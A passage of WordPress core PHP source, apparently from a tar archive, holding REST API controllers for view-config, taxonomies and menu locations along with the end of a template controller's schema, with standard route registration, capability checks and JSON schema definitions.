'edit', 'embed' ), 'readonly' => true, ), ), ), 'description' => array( 'description' => __( 'Description of template.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), ), 'status' => array( 'description' => __( 'Status of template.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'default' => 'publish', 'context' => array( 'embed', 'view', 'edit' ), ), 'wp_id' => array( 'description' => __( 'Post ID.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'has_theme_file' => array( 'description' => __( 'Theme file exists.' ), 'type' => 'bool', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'author' => array( 'description' => __( 'The ID for the author of the template.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'modified' => array( 'description' => __( "The date the template was last modified, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'author_text' => array( 'type' => 'string', 'description' => __( 'Human readable text for the author.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'original_source' => array( 'description' => __( 'Where the template originally comes from e.g. \'theme\'' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( 'theme', 'plugin', 'site', 'user', ), ), 'date' => array( 'description' => __( "The date the template was published, in the site's timezone." ), 'type' => array( 'string', 'null' ), 'format' => 'date-time', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); if ( 'wp_template' === $this->post_type ) { $schema['properties']['is_custom'] = array( 'description' => __( 'Whether a template is a custom template.' ), 'type' => 'bool', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $schema['properties']['plugin'] = array( 'type' => 'string', 'description' => __( 'Plugin that registered the template.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ); } if ( 'wp_template_part' === $this->post_type ) { $schema['properties']['area'] = array( 'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } class-wp-rest-view-config-controller.php000064400000053141152506367270014376 0ustar00namespace = 'wp/v2'; $this->rest_base = 'view-config'; } /** * Registers the routes for the controller. * * @since 7.1.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'kind' => array( 'description' => __( 'Entity kind.' ), 'type' => 'string', 'required' => true, ), 'name' => array( 'description' => __( 'Entity name.' ), 'type' => 'string', 'required' => true, ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read view config. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $kind = $request->get_param( 'kind' ); $name = $request->get_param( 'name' ); $capability = $this->get_required_capability( $kind, $name ); if ( null === $capability ) { return new WP_Error( 'rest_view_config_invalid_entity', __( 'Invalid entity kind or name.' ), array( 'status' => 404 ) ); } if ( ! current_user_can( $capability ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read view config.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Resolves the capability required to read the view config for an entity. * * Known kinds map to the capability that gates managing that entity's list: * post types use their own `edit_posts` capability (which honors custom * `capability_type` registrations), taxonomies use `manage_terms`, and * root-level entities use `manage_options`. A post type or taxonomy that is * not registered, or not exposed to the REST API, resolves to `null` so the * request is treated as referencing an unknown entity. * * Any other kind falls back to `edit_posts`. This keeps entities registered * through the `get_entity_view_config_{$kind}_{$name}` filter readable behind * a baseline capability. * * @since 7.1.0 * * @param string $kind The entity kind (e.g. `postType`). * @param string $name The entity name (e.g. `page`). * @return string|null Capability required to read the config, or null if the * entity is not registered. */ protected function get_required_capability( $kind, $name ) { switch ( $kind ) { case 'postType': $post_type = get_post_type_object( $name ); if ( $post_type && $post_type->show_in_rest ) { return $post_type->cap->edit_posts; } return null; case 'taxonomy': $taxonomy = get_taxonomy( $name ); if ( $taxonomy && $taxonomy->show_in_rest ) { return $taxonomy->cap->manage_terms; } return null; case 'root': return 'manage_options'; } return 'edit_posts'; } /** * Returns the default view configuration for the given entity type. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $kind = $request->get_param( 'kind' ); $name = $request->get_param( 'name' ); $config = wp_get_entity_view_config( $kind, $name ); $schema = $this->get_item_schema(); $response = array( 'kind' => $kind, 'name' => $name, 'version' => WP_View_Config_Data::LATEST_VERSION, 'default_view' => $this->cast_empty_objects( $config['default_view'], $schema['properties']['default_view'] ), 'default_layouts' => $this->cast_empty_objects( $config['default_layouts'], $schema['properties']['default_layouts'] ), 'view_list' => $this->cast_empty_objects( $config['view_list'], $schema['properties']['view_list'] ), 'form' => $this->cast_empty_objects( $config['form'], $schema['properties']['form'] ), ); return rest_ensure_response( $response ); } /** * Recursively casts empty arrays to objects where the schema types them as * objects. * * PHP cannot distinguish an empty associative array from an empty list, so * `json_encode()` always serializes `array()` as a JSON array (`[]`). The * REST schema, however, types several values as objects, which must encode * as `{}`. This walks the value against its schema and casts any empty, * object-typed array to an object. Non-empty associative arrays already * encode as objects, so they are left as arrays and only recursed into to * fix any nested empty objects. * * Union schemas (`oneOf`/`anyOf`) are handled only for the empty-array case: * an empty value is cast to an object when any branch allows an object. Such * values are not recursed into, which is sufficient for the form schema * where they never contain empty nested objects. * * @since 7.1.0 * * @param mixed $value The value to normalize. * @param array $schema The schema node describing the value. * @return mixed The normalized value, with empty object-typed arrays cast to objects. */ protected function cast_empty_objects( $value, $schema ) { if ( ! is_array( $value ) || ! is_array( $schema ) ) { return $value; } if ( isset( $schema['oneOf'] ) || isset( $schema['anyOf'] ) ) { $branches = $schema['oneOf'] ?? $schema['anyOf']; if ( array() === $value ) { foreach ( $branches as $branch ) { if ( is_array( $branch ) && in_array( 'object', (array) ( $branch['type'] ?? array() ), true ) ) { return (object) array(); } } } return $value; } $types = (array) ( $schema['type'] ?? array() ); if ( in_array( 'array', $types, true ) && isset( $schema['items'] ) ) { foreach ( $value as $index => $item ) { $value[ $index ] = $this->cast_empty_objects( $item, $schema['items'] ); } return $value; } if ( in_array( 'object', $types, true ) ) { if ( isset( $schema['properties'] ) ) { foreach ( $schema['properties'] as $property => $property_schema ) { if ( array_key_exists( $property, $value ) ) { $value[ $property ] = $this->cast_empty_objects( $value[ $property ], $property_schema ); } } } if ( isset( $schema['additionalProperties'] ) && is_array( $schema['additionalProperties'] ) ) { foreach ( $value as $key => $item ) { if ( isset( $schema['properties'][ $key ] ) ) { continue; } $value[ $key ] = $this->cast_empty_objects( $item, $schema['additionalProperties'] ); } } // Empty object-typed arrays must serialize as {} to match the schema. if ( array() === $value ) { return (object) array(); } } return $value; } /** * Retrieves the item's schema, conforming to JSON Schema. * * @since 7.1.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $view_base_properties = $this->get_view_base_schema(); $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'view-config', 'type' => 'object', 'properties' => array( 'kind' => array( 'description' => __( 'Entity kind.' ), 'type' => 'string', 'readonly' => true, ), 'name' => array( 'description' => __( 'Entity name.' ), 'type' => 'string', 'readonly' => true, ), 'version' => array( 'description' => __( 'The schema version of the configuration.' ), 'type' => 'integer', 'readonly' => true, ), 'default_view' => array( 'description' => __( 'Default view configuration.' ), 'type' => 'object', 'readonly' => true, 'properties' => array_merge( array( 'type' => array( 'type' => 'string', ), 'layout' => $this->get_combined_layout_schema(), ), $view_base_properties ), ), 'default_layouts' => array( 'description' => __( 'Default layout configurations.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'table' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_table_layout_schema(), ) ), ), 'list' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_list_layout_schema(), ) ), ), 'grid' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_grid_layout_schema(), ) ), ), 'activity' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_list_layout_schema(), ) ), ), 'pickerGrid' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_grid_layout_schema(), ) ), ), 'pickerTable' => array( 'type' => 'object', 'properties' => array_merge( $view_base_properties, array( 'layout' => $this->get_table_layout_schema(), ) ), ), ), ), 'view_list' => array( 'description' => __( 'List of default views.' ), 'type' => 'array', 'readonly' => true, 'items' => array( 'type' => 'object', 'properties' => array( 'title' => array( 'type' => 'string', ), 'slug' => array( 'type' => 'string', ), 'view' => array( 'type' => 'object', 'properties' => array_merge( array( 'type' => array( 'type' => 'string', ), 'layout' => $this->get_combined_layout_schema(), ), $view_base_properties ), ), ), ), ), 'form' => array( 'description' => __( 'Default form configuration.' ), 'type' => 'object', 'readonly' => true, 'properties' => $this->get_form_schema(), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Returns the schema properties shared by all view types (ViewBase), excluding 'type'. * * Note that `search` and `page` are not part of the schema: they are managed * via the URL, which is their only source of truth. * * @since 7.1.0 * * @return array Schema properties for the base view configuration. */ protected function get_view_base_schema() { return array( 'filters' => array( 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'field' => array( 'type' => 'string', ), 'operator' => array( 'type' => 'string', 'enum' => array( 'is', 'isNot', 'isAny', 'isNone', 'isAll', 'isNotAll', 'lessThan', 'greaterThan', 'lessThanOrEqual', 'greaterThanOrEqual', 'before', 'after', ), ), 'value' => array(), 'isLocked' => array( 'type' => 'boolean', ), ), ), ), 'sort' => array( 'type' => 'object', 'properties' => array( 'field' => array( 'type' => 'string', ), 'direction' => array( 'type' => 'string', 'enum' => array( 'asc', 'desc' ), ), ), ), 'perPage' => array( 'type' => 'integer', ), 'fields' => array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'titleField' => array( 'type' => 'string', ), 'mediaField' => array( 'type' => 'string', ), 'descriptionField' => array( 'type' => 'string', ), 'showTitle' => array( 'type' => 'boolean', ), 'showMedia' => array( 'type' => 'boolean', ), 'showDescription' => array( 'type' => 'boolean', ), 'showLevels' => array( 'type' => 'boolean', ), 'groupBy' => array( 'type' => 'object', 'properties' => array( 'field' => array( 'type' => 'string', ), 'direction' => array( 'type' => 'string', 'enum' => array( 'asc', 'desc' ), ), 'showLabel' => array( 'type' => 'boolean', 'default' => true, ), ), ), 'infiniteScrollEnabled' => array( 'type' => 'boolean', ), ); } /** * Returns the schema for the ColumnStyle type. * * @since 7.1.0 * * @return array Schema for a column style object. */ protected function get_column_style_schema() { return array( 'type' => 'object', 'properties' => array( 'width' => array( 'type' => array( 'string', 'number' ), ), 'maxWidth' => array( 'type' => array( 'string', 'number' ), ), 'minWidth' => array( 'type' => array( 'string', 'number' ), ), 'align' => array( 'type' => 'string', 'enum' => array( 'start', 'center', 'end' ), ), ), ); } /** * Returns the layout schema for table-type views (ViewTable, ViewPickerTable). * * @since 7.1.0 * * @return array Schema for a table layout object. */ protected function get_table_layout_schema() { return array( 'type' => 'object', 'properties' => array( 'styles' => array( 'type' => 'object', 'additionalProperties' => $this->get_column_style_schema(), ), 'density' => array( 'type' => 'string', 'enum' => array( 'compact', 'balanced', 'comfortable' ), ), 'enableMoving' => array( 'type' => 'boolean', ), ), ); } /** * Returns the layout schema for list-type views (ViewList, ViewActivity). * * @since 7.1.0 * * @return array Schema for a list layout object. */ protected function get_list_layout_schema() { return array( 'type' => 'object', 'properties' => array( 'density' => array( 'type' => 'string', 'enum' => array( 'compact', 'balanced', 'comfortable' ), ), ), ); } /** * Returns a combined layout schema that accepts properties from all view types. * * This is useful for contexts where the view type is not known ahead of time * (e.g. the `view` override in a view list item), so all possible layout * properties must be accepted. * * @since 7.1.0 * * @return array Schema for a combined layout object. */ protected function get_combined_layout_schema() { return array( 'type' => 'object', 'properties' => array_merge( $this->get_table_layout_schema()['properties'], $this->get_grid_layout_schema()['properties'], $this->get_list_layout_schema()['properties'] ), ); } /** * Returns the layout schema for grid-type views (ViewGrid, ViewPickerGrid). * * @since 7.1.0 * * @return array Schema for a grid layout object. */ protected function get_grid_layout_schema() { return array( 'type' => 'object', 'properties' => array( 'badgeFields' => array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'previewSize' => array( 'type' => 'number', ), 'density' => array( 'type' => 'string', 'enum' => array( 'compact', 'balanced', 'comfortable' ), ), ), ); } /** * Returns the schema for a form layout object as a discriminated union. * * Each variant is discriminated by a single-value enum on its `type` property, * matching the TypeScript Layout union in dataviews/src/types/dataform.ts. * * @since 7.1.0 * * @return array Schema for a form layout object. */ protected function get_form_layout_schema() { return array( 'oneOf' => array( // RegularLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'regular' ), ), 'labelPosition' => array( 'type' => 'string', 'enum' => array( 'top', 'side', 'none' ), ), ), ), // PanelLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'panel' ), ), 'labelPosition' => array( 'type' => 'string', 'enum' => array( 'top', 'side', 'none' ), ), 'openAs' => array( 'oneOf' => array( array( 'type' => 'string', 'enum' => array( 'dropdown', 'modal' ), ), array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'dropdown', 'modal' ), ), 'applyLabel' => array( 'type' => 'string', ), 'cancelLabel' => array( 'type' => 'string', ), ), ), ), ), 'summary' => array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'array', 'items' => array( 'type' => 'string', ), ), ), ), 'editVisibility' => array( 'type' => 'string', 'enum' => array( 'always', 'on-hover' ), ), ), ), // CardLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'card' ), ), 'withHeader' => array( 'type' => 'boolean', ), 'isOpened' => array( 'type' => 'boolean', ), 'isCollapsible' => array( 'type' => 'boolean', ), 'summary' => array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'array', 'items' => array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'object', 'properties' => array( 'id' => array( 'type' => 'string', ), 'visibility' => array( 'type' => 'string', 'enum' => array( 'always', 'when-collapsed' ), ), ), ), ), ), ), ), ), ), ), // RowLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'row' ), ), 'alignment' => array( 'type' => 'string', 'enum' => array( 'start', 'center', 'end' ), ), 'styles' => array( 'type' => 'object', 'additionalProperties' => array( 'type' => 'object', 'properties' => array( 'flex' => array( 'type' => array( 'string', 'number' ), ), ), ), ), ), ), // DetailsLayout. array( 'type' => 'object', 'properties' => array( 'type' => array( 'type' => 'string', 'enum' => array( 'details' ), ), 'summary' => array( 'type' => 'string', ), ), ), ), ); } /** * Returns the schema for a form field item (string or object). * * @since 7.1.0 * * @return array Schema for a form field. */ protected function get_form_field_schema() { return array( 'oneOf' => array( array( 'type' => 'string' ), array( 'type' => 'object', 'properties' => array( 'id' => array( 'type' => 'string', ), 'label' => array( 'type' => 'string', ), 'description' => array( 'type' => 'string', ), 'layout' => $this->get_form_layout_schema(), 'children' => array( 'type' => 'array', 'items' => array( 'oneOf' => array( array( 'type' => 'string' ), // This object can have the shape of a form field itself, // allowing for recursive nesting of form fields. // There's no easy way to codify this recursion via the JSON Schema draft-04 // supported by the REST API. array( 'type' => 'object' ), ), ), ), ), ), ), ); } /** * Returns the schema for the form configuration object. * * @since 7.1.0 * * @return array Schema properties for the form configuration. */ protected function get_form_schema() { return array( 'layout' => $this->get_form_layout_schema(), 'fields' => array( 'type' => 'array', 'items' => $this->get_form_field_schema(), ), ); } } class-wp-rest-taxonomies-controller.php000064400000033277152506367270014357 0ustar00namespace = 'wp/v2'; $this->rest_base = 'taxonomies'; } /** * Registers the routes for taxonomies. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'taxonomy' => array( 'description' => __( 'An alphanumeric identifier for the taxonomy.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read taxonomies. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { if ( ! empty( $request['type'] ) ) { $taxonomies = get_object_taxonomies( $request['type'], 'objects' ); } else { $taxonomies = get_taxonomies( '', 'objects' ); } foreach ( $taxonomies as $taxonomy ) { if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all public taxonomies. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) { $taxonomies = get_object_taxonomies( $request['type'], 'objects' ); } else { $taxonomies = get_taxonomies( '', 'objects' ); } $data = array(); foreach ( $taxonomies as $tax_type => $value ) { if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) { continue; } $tax = $this->prepare_item_for_response( $value, $request ); $tax = $this->prepare_response_for_collection( $tax ); $data[ $tax_type ] = $tax; } if ( empty( $data ) ) { // Response should still be returned as a JSON object when it is empty. $data = (object) $data; } return rest_ensure_response( $data ); } /** * Checks if a given request has access to a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, otherwise false or WP_Error object. */ public function get_item_permissions_check( $request ) { $tax_obj = get_taxonomy( $request['taxonomy'] ); if ( $tax_obj ) { if ( empty( $tax_obj->show_in_rest ) ) { return false; } if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } } return true; } /** * Retrieves a specific taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $tax_obj = get_taxonomy( $request['taxonomy'] ); if ( empty( $tax_obj ) ) { return new WP_Error( 'rest_taxonomy_invalid', __( 'Invalid taxonomy.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $tax_obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a taxonomy object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Taxonomy $item Taxonomy data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $taxonomy = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php */ return apply_filters( 'rest_prepare_taxonomy', new WP_REST_Response( array() ), $taxonomy, $request ); } $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'name', $fields, true ) ) { $data['name'] = $taxonomy->label; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $taxonomy->name; } if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = $taxonomy->cap; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $taxonomy->description; } if ( in_array( 'labels', $fields, true ) ) { $data['labels'] = $taxonomy->labels; } if ( in_array( 'types', $fields, true ) ) { $data['types'] = array_values( $taxonomy->object_type ); } if ( in_array( 'show_cloud', $fields, true ) ) { $data['show_cloud'] = $taxonomy->show_tagcloud; } if ( in_array( 'hierarchical', $fields, true ) ) { $data['hierarchical'] = $taxonomy->hierarchical; } if ( in_array( 'rest_base', $fields, true ) ) { $data['rest_base'] = $base; } if ( in_array( 'rest_namespace', $fields, true ) ) { $data['rest_namespace'] = $taxonomy->rest_namespace; } if ( in_array( 'visibility', $fields, true ) ) { $data['visibility'] = array( 'public' => (bool) $taxonomy->public, 'publicly_queryable' => (bool) $taxonomy->publicly_queryable, 'show_admin_column' => (bool) $taxonomy->show_admin_column, 'show_in_nav_menus' => (bool) $taxonomy->show_in_nav_menus, 'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit, 'show_ui' => (bool) $taxonomy->show_ui, ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $taxonomy ) ); } /** * Filters a taxonomy returned from the REST API. * * Allows modification of the taxonomy data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Taxonomy $item The original taxonomy object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request ); } /** * Prepares links for the request. * * @since 6.1.0 * * @param WP_Taxonomy $taxonomy The taxonomy. * @return array Links for the given taxonomy. */ protected function prepare_links( $taxonomy ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'https://api.w.org/items' => array( 'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ), ), ); } /** * Retrieves the taxonomy's schema, conforming to JSON Schema. * * @since 4.7.0 * @since 5.0.0 The `visibility` property was added. * @since 5.9.0 The `rest_namespace` property was added. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'taxonomy', 'type' => 'object', 'properties' => array( 'capabilities' => array( 'description' => __( 'All capabilities used by the taxonomy.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'A human-readable description of the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'hierarchical' => array( 'description' => __( 'Whether or not the taxonomy should have children.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'labels' => array( 'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The title for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'show_cloud' => array( 'description' => __( 'Whether or not the term cloud should be displayed.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'types' => array( 'description' => __( 'Types associated with the taxonomy.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'rest_base' => array( 'description' => __( 'REST base route for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rest_namespace' => array( 'description' => __( 'REST namespace route for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'visibility' => array( 'description' => __( 'The visibility settings for the taxonomy.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'public' => array( 'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ), 'type' => 'boolean', ), 'publicly_queryable' => array( 'description' => __( 'Whether the taxonomy is publicly queryable.' ), 'type' => 'boolean', ), 'show_ui' => array( 'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ), 'type' => 'boolean', ), 'show_admin_column' => array( 'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ), 'type' => 'boolean', ), 'show_in_nav_menus' => array( 'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ), 'type' => 'boolean', ), 'show_in_quick_edit' => array( 'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ), 'type' => 'boolean', ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $new_params = array(); $new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) ); $new_params['type'] = array( 'description' => __( 'Limit results to taxonomies associated with a specific post type.' ), 'type' => 'string', ); return $new_params; } } class-wp-rest-menu-locations-controller.php000064400000021263152506367270015116 0ustar00namespace = 'wp/v2'; $this->rest_base = 'menu-locations'; } /** * Registers the routes for the objects of the controller. * * @since 5.9.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'location' => array( 'description' => __( 'An alphanumeric identifier for the menu location.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read menu locations. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_has_read_only_access( $request ); } /** * Retrieves all menu locations, depending on user context. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); foreach ( get_registered_nav_menus() as $name => $description ) { $location = new stdClass(); $location->name = $name; $location->description = $description; $location = $this->prepare_item_for_response( $location, $request ); $data[ $name ] = $this->prepare_response_for_collection( $location ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a menu location. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return $this->check_has_read_only_access( $request ); } /** * Retrieves a specific menu location. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $registered_menus = get_registered_nav_menus(); if ( ! array_key_exists( $request['location'], $registered_menus ) ) { return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) ); } $location = new stdClass(); $location->name = $request['location']; $location->description = $registered_menus[ $location->name ]; $data = $this->prepare_item_for_response( $location, $request ); return rest_ensure_response( $data ); } /** * Checks whether the current user has read permission for the endpoint. * * @since 6.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the current user has permission, WP_Error object otherwise. */ protected function check_has_read_only_access( $request ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ $read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this ); if ( $read_only_access ) { return true; } if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu locations.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares a menu location object for serialization. * * @since 5.9.0 * * @param stdClass $item Post status data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Menu location data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $location = $item; $locations = get_nav_menu_locations(); $menu = $locations[ $location->name ] ?? 0; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'name', $fields ) ) { $data['name'] = $location->name; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $location->description; } if ( rest_is_field_included( 'menu', $fields ) ) { $data['menu'] = (int) $menu; } $context = ! empty( $request['context'] 